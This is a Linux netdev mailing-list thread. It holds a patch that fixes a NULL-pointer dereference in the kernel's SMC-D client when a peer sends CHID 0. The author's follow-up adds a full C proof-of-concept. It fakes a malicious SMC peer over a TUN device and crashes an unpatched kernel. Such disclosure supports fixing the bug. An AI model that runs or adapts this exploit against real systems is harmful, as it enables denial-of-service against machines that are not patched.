Netdev List
 help / color / mirror / Atom feed
* [PATCH net] net/smc: reject CHID-0 ACCEPT that matches an empty ism_dev slot
@ 2026-05-11  6:21 Xiang Mei
  2026-05-11  6:28 ` Xiang Mei
  0 siblings, 1 reply; 2+ messages in thread
From: Xiang Mei @ 2026-05-11  6:21 UTC (permalink / raw)
  To: netdev
  Cc: alibuda, dust.li, sidraya, wenjia, ubraun, linux-rdma, linux-s390,
	bestswngs, Xiang Mei

On the SMC-D client, slot 0 of ini->ism_dev[]/ini->ism_chid[] is
reserved for an SMC-Dv1 device. smc_find_ism_v2_device_clnt()
populates V2 entries starting at index 1, so when no V1 device is
selected slot 0 is left in its kzalloc()'ed state with ism_dev[0] ==
NULL and ism_chid[0] == 0.

smc_v2_determine_accepted_chid() then matches the peer's CHID against
the array starting from index 0 using the CHID alone. A malicious
peer replying to a SMC-Dv2-only proposal with d1.chid == 0 matches
the empty slot, ini->ism_selected becomes 0, and the subsequent
ism_dev[0]->lgr_lock dereference in smc_conn_create() faults at
offsetof(struct smcd_dev, lgr_lock) == 0x68:

  BUG: KASAN: null-ptr-deref in _raw_spin_lock_bh+0x79/0xe0
  Write of size 4 at addr 0000000000000068 by task exploit/144
  Call Trace:
   _raw_spin_lock_bh
   smc_conn_create (net/smc/smc_core.c:1997)
   __smc_connect (net/smc/af_smc.c:1447)
   smc_connect (net/smc/af_smc.c:1720)
   __sys_connect
   __x64_sys_connect
   do_syscall_64

Require ism_dev[i] to be non-NULL before accepting a CHID match.

Fixes: a7c9c5f4af7f ("net/smc: CLC accept / confirm V2")
Reported-by: Weiming Shi <bestswngs@gmail.com>
Assisted-by: Claude:claude-opus-4-7
Signed-off-by: Xiang Mei <xmei5@asu.edu>
---
 net/smc/af_smc.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/net/smc/af_smc.c b/net/smc/af_smc.c
index 185dbed7de5d..12ea3b6dbc64 100644
--- a/net/smc/af_smc.c
+++ b/net/smc/af_smc.c
@@ -1400,7 +1400,8 @@ smc_v2_determine_accepted_chid(struct smc_clc_msg_accept_confirm *aclc,
 	int i;
 
 	for (i = 0; i < ini->ism_offered_cnt + 1; i++) {
-		if (ini->ism_chid[i] == ntohs(aclc->d1.chid)) {
+		if (ini->ism_dev[i] &&
+		    ini->ism_chid[i] == ntohs(aclc->d1.chid)) {
 			ini->ism_selected = i;
 			return 0;
 		}
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 2+ messages in thread

* Re: [PATCH net] net/smc: reject CHID-0 ACCEPT that matches an empty ism_dev slot
  2026-05-11  6:21 [PATCH net] net/smc: reject CHID-0 ACCEPT that matches an empty ism_dev slot Xiang Mei
@ 2026-05-11  6:28 ` Xiang Mei
  0 siblings, 0 replies; 2+ messages in thread
From: Xiang Mei @ 2026-05-11  6:28 UTC (permalink / raw)
  To: netdev
  Cc: alibuda, dust.li, sidraya, wenjia, ubraun, linux-rdma, linux-s390,
	bestswngs

Thanks for your attention to this bug. Here are some resources to help
you trigger the bug.

Required key configs:
```
CONFIG_SMC=y
CONFIG_DIBS=y
CONFIG_DIBS_LO=y
```

Here is a PoC trigger that causes the intended crash shown in the
commit message:
```c
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <endian.h>
#include <fcntl.h>
#include <linux/if_tun.h>
#include <net/if.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <unistd.h>

#define AF_SMC 43
static int tun_fd;
static uint32_t my_ip, peer_ip; /* network byte order */
static const uint16_t PEER_PORT = 9999;

static uint16_t csum(const void *p, int n, uint32_t s) {
const uint16_t *q = p;
while (n > 1) { s += *q++; n -= 2; }
if (n) s += *(const uint8_t *)q;
while (s >> 16) s = (s & 0xffff) + (s >> 16);
return ~s;
}

static uint16_t tcp_csum(uint32_t sa, uint32_t da, const void *h, int n) {
struct { uint32_t s, d; uint8_t z, p; uint16_t l; } __attribute__((packed))
ph = { sa, da, 0, IPPROTO_TCP, htons(n) };
uint32_t s = 0;
for (unsigned i = 0; i < sizeof(ph) / 2; i++) s += ((uint16_t *)&ph)[i];
return csum(h, n, s);
}

/* Send IPv4+TCP packet on the TUN device. opt_len must be multiple of 4. */
static void tx(uint16_t sport, uint16_t dport, uint32_t seq, uint32_t ack,
uint8_t flags, const void *opts, int opt_len,
const void *payload, int plen)
{
uint8_t buf[2048] = {0};
int thlen = sizeof(struct tcphdr) + opt_len;
int tcplen = thlen + plen;
int iplen = sizeof(struct iphdr) + tcplen;
struct iphdr *ip = (struct iphdr *)buf;
struct tcphdr *th = (struct tcphdr *)(buf + sizeof(*ip));

ip->version = 4; ip->ihl = 5; ip->tot_len = htons(iplen);
ip->ttl = 64; ip->protocol = IPPROTO_TCP;
ip->saddr = peer_ip; ip->daddr = my_ip;
ip->check = csum(ip, sizeof(*ip), 0);

th->source = htons(sport); th->dest = htons(dport);
th->seq = htonl(seq); th->ack_seq = htonl(ack);
th->doff = thlen / 4; th->window = htons(65535);
th->syn = !!(flags & 2); th->ack = !!(flags & 0x10);
th->psh = !!(flags & 8); th->rst = !!(flags & 4);
if (opt_len) memcpy(th + 1, opts, opt_len);
if (plen) memcpy((uint8_t *)th + thlen, payload, plen);
th->check = tcp_csum(peer_ip, my_ip, th, tcplen);

if (write(tun_fd, buf, iplen) < 0) perror("tun write");
}

/* TCP option: experimental, magic 0xE2D4C3D9 ("SMC"), len 6, + 2 NOPs. */
static const uint8_t SMC_OPT[8] = { 254, 6, 0xE2, 0xD4, 0xC3, 0xD9, 1, 1 };

/* Build the malicious 78-byte SMC-D V2 CLC ACCEPT with d1.chid = 0. */
static int build_accept(uint8_t out[78]) {
memset(out, 0, 78);
memcpy(out, "\xE2\xD4\xC3\xC4", 4); /* eyecatcher SMCD */
out[4] = 0x02; /* type = ACCEPT */
out[5] = 0x00; out[6] = 0x4E; /* length = 78 */
out[7] = (2 << 4) | 1; /* version=V2, typev1=SMC_TYPE_D */
/* d0.gid / d0.token: arbitrary; rest of d0/d1 zero (including d1.chid). */
memcpy(out + 74, "\xE2\xD4\xC3\xC4", 4); /* trailer eyecatcher */
return 78;
}

static void *responder(void *_) {
uint8_t pkt[2048];
uint32_t srv = 0xC0DECAFE, cli = 0;
uint16_t cport = 0;
int handshake = 0, sent_accept = 0;

while (1) {
int n = read(tun_fd, pkt, sizeof(pkt));
if (n <= 0) continue;
struct iphdr *ip = (struct iphdr *)pkt;
struct tcphdr *th = (struct tcphdr *)(pkt + ip->ihl * 4);
if (ip->protocol != IPPROTO_TCP || ntohs(th->dest) != PEER_PORT) continue;
cport = ntohs(th->source);
int plen = ntohs(ip->tot_len) - ip->ihl * 4 - th->doff * 4;

if (th->syn && !th->ack) { /* SYN */
cli = ntohl(th->seq) + 1;
tx(PEER_PORT, cport, srv, cli, 0x12, SMC_OPT, 8, NULL, 0);
srv++;
} else if (th->ack && !plen && !handshake) { /* SYN-ACK ACK */
handshake = 1;
} else if (handshake && plen > 0 && !sent_accept) { /* CLC PROPOSAL */
cli = ntohl(th->seq) + plen;
tx(PEER_PORT, cport, srv, cli, 0x10, NULL, 0, NULL, 0);
uint8_t accept[78];
int alen = build_accept(accept);
tx(PEER_PORT, cport, srv, cli, 0x18, NULL, 0, accept, alen);
srv += alen;
sent_accept = 1;
}
}
}

/* Bring up TUN with my_ip via ioctls (rootfs /sbin/ip is broken in repro). */
static void setup_tun(void) {
struct ifreq ifr = {0};
ifr.ifr_flags = IFF_TUN | IFF_NO_PI;
strncpy(ifr.ifr_name, "smc0", IFNAMSIZ - 1);
tun_fd = open("/dev/net/tun", O_RDWR);
if (tun_fd < 0 || ioctl(tun_fd, TUNSETIFF, &ifr) < 0) { perror("tun");
exit(1); }

int s = socket(AF_INET, SOCK_DGRAM, 0);
struct sockaddr_in *sin = (struct sockaddr_in *)&ifr.ifr_addr;
sin->sin_family = AF_INET; sin->sin_addr.s_addr = my_ip;
ioctl(s, SIOCSIFADDR, &ifr);
inet_pton(AF_INET, "255.255.255.0", &sin->sin_addr.s_addr);
ioctl(s, SIOCSIFNETMASK, &ifr);
ioctl(s, SIOCGIFFLAGS, &ifr);
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
ioctl(s, SIOCSIFFLAGS, &ifr);
close(s);
}

int main(void) {
inet_pton(AF_INET, "10.0.0.1", &my_ip);
inet_pton(AF_INET, "10.0.0.2", &peer_ip);
setup_tun();

pthread_t tid;
pthread_create(&tid, NULL, responder, NULL);
usleep(200 * 1000);

int s = socket(AF_SMC, SOCK_STREAM, 0);
if (s < 0) { perror("socket(AF_SMC)"); return 1; }
struct sockaddr_in sa = { .sin_family = AF_INET,
.sin_port = htons(PEER_PORT),
.sin_addr.s_addr = peer_ip };
fprintf(stderr, "[*] connecting AF_SMC ...\n");
connect(s, (struct sockaddr *)&sa, sizeof(sa)); /* expect: kernel oops */
sleep(5);
return 0;
}
```

Feel free to ask any questions to reproduce this issue.
Thanks,
Xiang

On Sun, May 10, 2026 at 11:21 PM Xiang Mei <xmei5@asu.edu> wrote:
>
> On the SMC-D client, slot 0 of ini->ism_dev[]/ini->ism_chid[] is
> reserved for an SMC-Dv1 device. smc_find_ism_v2_device_clnt()
> populates V2 entries starting at index 1, so when no V1 device is
> selected slot 0 is left in its kzalloc()'ed state with ism_dev[0] ==
> NULL and ism_chid[0] == 0.
>
> smc_v2_determine_accepted_chid() then matches the peer's CHID against
> the array starting from index 0 using the CHID alone. A malicious
> peer replying to a SMC-Dv2-only proposal with d1.chid == 0 matches
> the empty slot, ini->ism_selected becomes 0, and the subsequent
> ism_dev[0]->lgr_lock dereference in smc_conn_create() faults at
> offsetof(struct smcd_dev, lgr_lock) == 0x68:
>
>   BUG: KASAN: null-ptr-deref in _raw_spin_lock_bh+0x79/0xe0
>   Write of size 4 at addr 0000000000000068 by task exploit/144
>   Call Trace:
>    _raw_spin_lock_bh
>    smc_conn_create (net/smc/smc_core.c:1997)
>    __smc_connect (net/smc/af_smc.c:1447)
>    smc_connect (net/smc/af_smc.c:1720)
>    __sys_connect
>    __x64_sys_connect
>    do_syscall_64
>
> Require ism_dev[i] to be non-NULL before accepting a CHID match.
>
> Fixes: a7c9c5f4af7f ("net/smc: CLC accept / confirm V2")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Assisted-by: Claude:claude-opus-4-7
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
> ---
>  net/smc/af_smc.c | 3 ++-
>  1 file changed, 2 insertions(+), 1 deletion(-)
>
> diff --git a/net/smc/af_smc.c b/net/smc/af_smc.c
> index 185dbed7de5d..12ea3b6dbc64 100644
> --- a/net/smc/af_smc.c
> +++ b/net/smc/af_smc.c
> @@ -1400,7 +1400,8 @@ smc_v2_determine_accepted_chid(struct smc_clc_msg_accept_confirm *aclc,
>         int i;
>
>         for (i = 0; i < ini->ism_offered_cnt + 1; i++) {
> -               if (ini->ism_chid[i] == ntohs(aclc->d1.chid)) {
> +               if (ini->ism_dev[i] &&
> +                   ini->ism_chid[i] == ntohs(aclc->d1.chid)) {
>                         ini->ism_selected = i;
>                         return 0;
>                 }
> --
> 2.43.0
>

^ permalink raw reply	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2026-05-11  6:29 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-05-11  6:21 [PATCH net] net/smc: reject CHID-0 ACCEPT that matches an empty ism_dev slot Xiang Mei
2026-05-11  6:28 ` Xiang Mei

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox